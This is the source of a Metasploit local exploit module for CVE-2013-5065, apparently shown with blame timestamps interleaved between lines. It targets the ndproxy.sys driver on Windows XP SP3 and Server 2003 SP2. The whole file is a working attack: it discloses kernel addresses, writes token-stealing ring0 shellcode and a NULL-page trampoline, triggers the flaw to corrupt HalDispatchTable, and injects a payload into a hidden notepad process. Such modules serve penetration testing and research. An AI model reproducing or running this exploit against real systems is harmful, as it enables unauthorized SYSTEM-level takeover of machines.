2013-12-11 14:52:35 +00:00
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf :: Exploit :: Local
Rank = AverageRanking
2013-12-12 14:26:44 +00:00
include Msf :: Post :: File
2013-12-11 14:52:35 +00:00
include Msf :: Post :: Windows :: Priv
include Msf :: Post :: Windows :: Process
def initialize ( info = { } )
super ( update_info ( info , {
'Name' = > 'Microsoft Windows ndproxy.sys Local Privilege Escalation' ,
'Description' = > %q{
This module exploits a flaw in the ndproxy . sys driver on Windows XP SP3 and Windows 2003
2013-12-16 20:57:33 +00:00
SP2 systems , exploited in the wild in November , 2013 . The vulnerability exists while
2013-12-11 14:56:31 +00:00
processing an IO Control Code 0x8fff23c8 or 0x8fff23cc , where user provided input is used
2013-12-16 20:57:33 +00:00
to access an array unsafely , and the value is used to perform a call , leading to a NULL
pointer dereference which is exploitable on both Windows XP and Windows 2003 systems . This
2013-12-11 14:56:31 +00:00
module has been tested successfully on Windows XP SP3 and Windows 2003 SP2 . In order to
work the service " Routing and Remote Access " must be running on the target system .
2013-12-11 14:52:35 +00:00
} ,
'License' = > MSF_LICENSE ,
'Author' = >
[
'Unkwnon' , # Vulnerability discovery
'ryujin' , # python PoC
'Shahin Ramezany' , # C PoC
'juan vazquez' # MSF module
] ,
'Arch' = > ARCH_X86 ,
'Platform' = > 'win' ,
'Payload' = >
{
'Space' = > 4096 ,
'DisableNops' = > true
} ,
'SessionTypes' = > [ 'meterpreter' ] ,
'DefaultOptions' = >
{
'EXITFUNC' = > 'thread' ,
} ,
'Targets' = >
[
[ 'Automatic' , { } ] ,
[ 'Windows XP SP3' ,
{
'HaliQuerySystemInfo' = > 0x16bba , # Stable over Windows XP SP3 updates
'_KPROCESS' = > " \x44 " , # Offset to _KPROCESS from a _ETHREAD struct
'_TOKEN' = > " \xc8 " , # Offset to TOKEN from the _EPROCESS struct
'_UPID' = > " \x84 " , # Offset to UniqueProcessId FROM the _EPROCESS struct
'_APLINKS' = > " \x88 " # Offset to ActiveProcessLinks _EPROCESS struct
}
] ,
[ 'Windows Server 2003 SP2' ,
{
'HaliQuerySystemInfo' = > 0x1fa1e ,
'_KPROCESS' = > " \x38 " ,
'_TOKEN' = > " \xd8 " ,
'_UPID' = > " \x94 " ,
'_APLINKS' = > " \x98 "
}
]
] ,
'References' = >
[
[ 'CVE' , '2013-5065' ] ,
[ 'OSVDB' , '100368' ] ,
[ 'BID' , '63971' ] ,
[ 'EDB' , '30014' ] ,
[ 'URL' , 'http://labs.portcullis.co.uk/blog/cve-2013-5065-ndproxy-array-indexing-error-unpatched-vulnerability/' ] ,
[ 'URL' , 'http://technet.microsoft.com/en-us/security/advisory/2914486' ] ,
[ 'URL' , 'https://github.com/ShahinRamezany/Codes/blob/master/CVE-2013-5065/CVE-2013-5065.cpp' ] ,
[ 'URL' , 'http://www.secniu.com/blog/?p=53' ] ,
2013-12-11 22:28:09 +00:00
[ 'URL' , 'http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html' ] ,
[ 'URL' , 'http://blog.spiderlabs.com/2013/12/the-kernel-is-calling-a-zeroday-pointer-cve-2013-5065-ring-ring.html' ]
2013-12-11 14:52:35 +00:00
] ,
'DisclosureDate' = > 'Nov 27 2013' ,
'DefaultTarget' = > 0
} ) )
end
def add_railgun_functions
session . railgun . add_function (
'ntdll' ,
'NtAllocateVirtualMemory' ,
'DWORD' ,
[
[ " DWORD " , " ProcessHandle " , " in " ] ,
[ " PBLOB " , " BaseAddress " , " inout " ] ,
[ " PDWORD " , " ZeroBits " , " in " ] ,
[ " PBLOB " , " RegionSize " , " inout " ] ,
[ " DWORD " , " AllocationType " , " in " ] ,
[ " DWORD " , " Protect " , " in " ]
] )
session . railgun . add_function (
'ntdll' ,
'NtDeviceIoControlFile' ,
'DWORD' ,
[
[ " DWORD " , " FileHandle " , " in " ] ,
[ " DWORD " , " Event " , " in " ] ,
[ " DWORD " , " ApcRoutine " , " in " ] ,
[ " DWORD " , " ApcContext " , " in " ] ,
[ " PDWORD " , " IoStatusBlock " , " out " ] ,
[ " DWORD " , " IoControlCode " , " in " ] ,
[ " LPVOID " , " InputBuffer " , " in " ] ,
[ " DWORD " , " InputBufferLength " , " in " ] ,
[ " LPVOID " , " OutputBuffer " , " in " ] ,
[ " DWORD " , " OutPutBufferLength " , " in " ]
] )
session . railgun . add_function (
'ntdll' ,
'NtQueryIntervalProfile' ,
'DWORD' ,
[
[ " DWORD " , " ProfileSource " , " in " ] ,
[ " PDWORD " , " Interval " , " out " ]
] )
2013-12-11 22:28:09 +00:00
session . railgun . add_dll ( 'psapi' ) unless session . railgun . dlls . keys . include? ( 'psapi' )
2013-12-11 14:52:35 +00:00
session . railgun . add_function (
'psapi' ,
'EnumDeviceDrivers' ,
'BOOL' ,
[
[ " PBLOB " , " lpImageBase " , " out " ] ,
[ " DWORD " , " cb " , " in " ] ,
[ " PDWORD " , " lpcbNeeded " , " out " ]
] )
session . railgun . add_function (
'psapi' ,
'GetDeviceDriverBaseNameA' ,
'DWORD' ,
[
[ " LPVOID " , " ImageBase " , " in " ] ,
[ " PBLOB " , " lpBaseName " , " out " ] ,
[ " DWORD " , " nSize " , " in " ]
] )
end
def open_device ( dev )
invalid_handle_value = 0xFFFFFFFF
2013-12-16 22:19:17 +00:00
r = session . railgun . kernel32 . CreateFileA ( dev , 0x0 , 0x0 , nil , 0x3 , 0 , 0 )
2013-12-11 14:52:35 +00:00
handle = r [ 'return' ]
if handle == invalid_handle_value
return nil
end
return handle
end
def find_sys_base ( drvname )
results = session . railgun . psapi . EnumDeviceDrivers ( 4096 , 1024 , 4 )
addresses = results [ 'lpImageBase' ] [ 0 .. results [ 'lpcbNeeded' ] - 1 ] . unpack ( " L* " )
addresses . each do | address |
results = session . railgun . psapi . GetDeviceDriverBaseNameA ( address , 48 , 48 )
current_drvname = results [ 'lpBaseName' ] [ 0 .. results [ 'return' ] - 1 ]
if drvname == nil
if current_drvname . downcase . include? ( 'krnl' )
return [ address , current_drvname ]
end
elsif drvname == results [ 'lpBaseName' ] [ 0 .. results [ 'return' ] - 1 ]
return [ address , current_drvname ]
end
end
return nil
end
def ring0_shellcode ( t )
restore_ptrs = " \x31 \xc0 " # xor eax, eax
restore_ptrs << " \xb8 " + [ @addresses [ " HaliQuerySystemInfo " ] ] . pack ( " L " ) # mov eax, offset hal!HaliQuerySystemInformation
restore_ptrs << " \xa3 " + [ @addresses [ " halDispatchTable " ] + 4 ] . pack ( " L " ) # mov dword ptr [nt!HalDispatchTable+0x4], eax
tokenstealing = " \x52 " # push edx # Save edx on the stack
tokenstealing << " \x53 " # push ebx # Save ebx on the stack
tokenstealing << " \x33 \xc0 " # xor eax, eax # eax = 0
tokenstealing << " \x64 \x8b \x80 \x24 \x01 \x00 \x00 " # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
tokenstealing << " \x8b \x40 " + t [ '_KPROCESS' ] # mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS
tokenstealing << " \x8b \xc8 " # mov ecx, eax
tokenstealing << " \x8b \x98 " + t [ '_TOKEN' ] + " \x00 \x00 \x00 " # mov ebx, dword ptr [eax+0C8h] # Retrieves TOKEN
tokenstealing << " \x8b \x80 " + t [ '_APLINKS' ] + " \x00 \x00 \x00 " # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks
tokenstealing << " \x81 \xe8 " + t [ '_APLINKS' ] + " \x00 \x00 \x00 " # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
tokenstealing << " \x81 \xb8 " + t [ '_UPID' ] + " \x00 \x00 \x00 \x04 \x00 \x00 \x00 " # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
tokenstealing << " \x75 \xe8 " # jne 0000101e ======================
tokenstealing << " \x8b \x90 " + t [ '_TOKEN' ] + " \x00 \x00 \x00 " # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX
tokenstealing << " \x8b \xc1 " # mov eax, ecx # Retrieves KPROCESS stored on ECX
tokenstealing << " \x89 \x90 " + t [ '_TOKEN' ] + " \x00 \x00 \x00 " # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS
tokenstealing << " \x5b " # pop ebx # Restores ebx
tokenstealing << " \x5a " # pop edx # Restores edx
tokenstealing << " \xc2 \x10 " # ret 10h # Away from the kernel!
ring0_shellcode = restore_ptrs + tokenstealing
return ring0_shellcode
end
def fill_memory ( proc , address , length , content )
result = session . railgun . ntdll . NtAllocateVirtualMemory ( - 1 , [ address ] . pack ( " L " ) , nil , [ length ] . pack ( " L " ) , " MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN " , " PAGE_EXECUTE_READWRITE " )
2013-12-11 22:28:09 +00:00
unless proc . memory . writable? ( address )
2013-12-11 14:52:35 +00:00
vprint_error ( " Failed to allocate memory " )
return nil
end
2013-12-11 22:28:09 +00:00
vprint_good ( " #{ address } is now writable " )
2013-12-11 14:52:35 +00:00
result = proc . memory . write ( address , content )
if result . nil?
vprint_error ( " Failed to write contents to memory " )
return nil
else
vprint_good ( " Contents successfully written to 0x #{ address . to_s ( 16 ) } " )
end
return address
end
2013-12-12 14:26:44 +00:00
def create_proc
windir = expand_path ( " %windir% " )
cmd = " #{ windir } \\ System32 \\ notepad.exe "
# run hidden
2013-12-16 22:19:17 +00:00
begin
proc = session . sys . process . execute ( cmd , nil , { 'Hidden' = > true } )
rescue Rex :: Post :: Meterpreter :: RequestError
# when running from the Adobe Reader sandbox:
# Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_sys_process_execute: Operation failed: Access is denied.
return nil
end
2013-12-12 14:26:44 +00:00
return proc . pid
end
2013-12-11 14:52:35 +00:00
def disclose_addresses ( t )
addresses = { }
vprint_status ( " Getting the Kernel module name... " )
kernel_info = find_sys_base ( nil )
if kernel_info . nil?
vprint_error ( " Failed to disclose the Kernel module name " )
return nil
end
vprint_good ( " Kernel module found: #{ kernel_info [ 1 ] } " )
vprint_status ( " Getting a Kernel handle... " )
kernel32_handle = session . railgun . kernel32 . LoadLibraryExA ( kernel_info [ 1 ] , 0 , 1 )
kernel32_handle = kernel32_handle [ 'return' ]
if kernel32_handle == 0
vprint_error ( " Failed to get a Kernel handle " )
return nil
end
vprint_good ( " Kernel handle acquired " )
vprint_status ( " Disclosing the HalDispatchTable... " )
hal_dispatch_table = session . railgun . kernel32 . GetProcAddress ( kernel32_handle , " HalDispatchTable " )
hal_dispatch_table = hal_dispatch_table [ 'return' ]
if hal_dispatch_table == 0
vprint_error ( " Failed to disclose the HalDispatchTable " )
return nil
end
hal_dispatch_table -= kernel32_handle
hal_dispatch_table += kernel_info [ 0 ]
addresses [ " halDispatchTable " ] = hal_dispatch_table
vprint_good ( " HalDispatchTable found at 0x #{ addresses [ " halDispatchTable " ] . to_s ( 16 ) } " )
vprint_status ( " Getting the hal.dll Base Address... " )
hal_info = find_sys_base ( " hal.dll " )
if hal_info . nil?
vprint_error ( " Failed to disclose hal.dll Base Address " )
return nil
end
hal_base = hal_info [ 0 ]
vprint_good ( " hal.dll Base Address disclosed at 0x #{ hal_base . to_s ( 16 ) } " )
hali_query_system_information = hal_base + t [ 'HaliQuerySystemInfo' ]
addresses [ " HaliQuerySystemInfo " ] = hali_query_system_information
vprint_good ( " HaliQuerySystemInfo Address disclosed at 0x #{ addresses [ " HaliQuerySystemInfo " ] . to_s ( 16 ) } " )
return addresses
end
def check
vprint_status ( " Adding the railgun stuff... " )
add_railgun_functions
if sysinfo [ " Architecture " ] =~ / wow64 /i or sysinfo [ " Architecture " ] =~ / x64 /
return Exploit :: CheckCode :: Detected
end
handle = open_device ( " \\ \\ . \\ NDProxy " )
if handle . nil?
2013-12-12 04:08:36 +00:00
return Exploit :: CheckCode :: Safe
2013-12-11 14:52:35 +00:00
end
session . railgun . kernel32 . CloseHandle ( handle )
2013-12-12 13:39:19 +00:00
os = sysinfo [ " OS " ]
case os
when / windows xp.*service pack 3 /i
return Exploit :: CheckCode :: Appears
when / [2003|.net server].*service pack 2 /i
return Exploit :: CheckCode :: Appears
when / windows xp /i
return Exploit :: CheckCode :: Detected
when / [2003|.net server] /i
return Exploit :: CheckCode :: Detected
else
return Exploit :: CheckCode :: Safe
end
2013-12-11 14:52:35 +00:00
end
def exploit
vprint_status ( " Adding the railgun stuff... " )
add_railgun_functions
if sysinfo [ " Architecture " ] =~ / wow64 /i
fail_with ( Failure :: NoTarget , " Running against WOW64 is not supported " )
elsif sysinfo [ " Architecture " ] =~ / x64 /
fail_with ( Failure :: NoTarget , " Running against 64-bit systems is not supported " )
end
my_target = nil
if target . name =~ / Automatic /
print_status ( " Detecting the target system... " )
os = sysinfo [ " OS " ]
2013-12-12 13:39:19 +00:00
if os =~ / windows xp.*service pack 3 /i
2013-12-11 14:52:35 +00:00
my_target = targets [ 1 ]
print_status ( " Running against #{ my_target . name } " )
elsif ( ( os =~ / 2003 / ) and ( os =~ / service pack 2 /i ) )
my_target = targets [ 2 ]
print_status ( " Running against #{ my_target . name } " )
elsif ( ( os =~ / \ .net server /i ) and ( os =~ / service pack 2 /i ) )
my_target = targets [ 2 ]
print_status ( " Running against #{ my_target . name } " )
end
else
my_target = target
end
if my_target . nil?
fail_with ( Failure :: NoTarget , " Remote system not detected as target, select the target manually " )
end
print_status ( " Checking device... " )
handle = open_device ( " \\ \\ . \\ NDProxy " )
if handle . nil?
fail_with ( Failure :: NoTarget , " \\ \\ . \\ NDProxy device not found " )
else
print_good ( " \\ \\ . \\ NDProxy found! " )
end
print_status ( " Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses... " )
@addresses = disclose_addresses ( my_target )
if @addresses . nil?
session . railgun . kernel32 . CloseHandle ( handle )
fail_with ( Failure :: Unknown , " Filed to disclose necessary addresses for exploitation. Aborting. " )
else
print_good ( " Addresses successfully disclosed. " )
end
print_status ( " Storing the kernel stager on memory... " )
this_proc = session . sys . process . open
kernel_shell = ring0_shellcode ( my_target )
kernel_shell_address = 0x1000
result = fill_memory ( this_proc , kernel_shell_address , kernel_shell . length , kernel_shell )
if result . nil?
session . railgun . kernel32 . CloseHandle ( handle )
fail_with ( Failure :: Unknown , " Error while storing the kernel stager shellcode on memory " )
else
print_good ( " Kernel stager successfully stored at 0x #{ kernel_shell_address . to_s ( 16 ) } " )
end
print_status ( " Storing the trampoline to the kernel stager on memory... " )
trampoline = " \x90 " * 0x38 # nops
trampoline << " \x68 " # push opcode
trampoline << [ 0x1000 ] . pack ( " V " ) # address to push
trampoline << " \xc3 " # ret
trampoline_addr = 0x1
result = fill_memory ( this_proc , trampoline_addr , trampoline . length , trampoline )
if result . nil?
session . railgun . kernel32 . CloseHandle ( handle )
fail_with ( Failure :: Unknown , " Error while storing trampoline on memory " )
else
print_good ( " Trampoline successfully stored at 0x #{ trampoline_addr . to_s ( 16 ) } " )
end
print_status ( " Storing the IO Control buffer on memory... " )
buffer = " \x00 " * 1024
buffer [ 20 , 4 ] = [ 0x7030125 ] . pack ( " V " ) # In order to trigger the vulnerable call
buffer [ 28 , 4 ] = [ 0x34 ] . pack ( " V " ) # In order to trigger the vulnerable call
buffer_addr = 0x0d0d0000
result = fill_memory ( this_proc , buffer_addr , buffer . length , buffer )
if result . nil?
session . railgun . kernel32 . CloseHandle ( handle )
fail_with ( Failure :: Unknown , " Error while storing the IO Control buffer on memory " )
else
print_good ( " IO Control buffer successfully stored at 0x #{ buffer_addr . to_s ( 16 ) } " )
end
print_status ( " Triggering the vulnerability, corrupting the HalDispatchTable... " )
magic_ioctl = 0x8fff23c8
# Values taken from the exploit in the wild, see references
ioctl = session . railgun . ntdll . NtDeviceIoControlFile ( handle , 0 , 0 , 0 , 4 , magic_ioctl , buffer_addr , buffer . length , buffer_addr , 0x80 )
session . railgun . kernel32 . CloseHandle ( handle )
print_status ( " Executing the Kernel Stager throw NtQueryIntervalProfile()... " )
result = session . railgun . ntdll . NtQueryIntervalProfile ( 1337 , 4 )
print_status ( " Checking privileges after exploitation... " )
2013-12-11 22:28:09 +00:00
unless is_system?
2013-12-11 14:52:35 +00:00
fail_with ( Failure :: Unknown , " The exploitation wasn't successful " )
end
2013-12-16 22:19:17 +00:00
p = payload . encoded
2013-12-12 14:26:44 +00:00
print_good ( " Exploitation successful! Creating a new process and launching payload... " )
new_pid = create_proc
2013-12-16 22:19:17 +00:00
if new_pid . nil?
print_warning ( " Unable to create a new process, maybe you're into a sandbox. If the current process has been elevated try to migrate before executing a new process... " )
end
2013-12-12 14:26:44 +00:00
print_status ( " Injecting #{ p . length . to_s } bytes into #{ new_pid } memory and executing it... " )
2013-12-16 22:19:17 +00:00
shellcode_executed = execute_shellcode ( p , nil , new_pid )
if shellcode_executed
2013-12-11 14:52:35 +00:00
print_good ( " Enjoy " )
else
fail_with ( Failure :: Unknown , " Error while executing the payload " )
end
2013-12-16 22:19:17 +00:00
2013-12-11 14:52:35 +00:00
end
end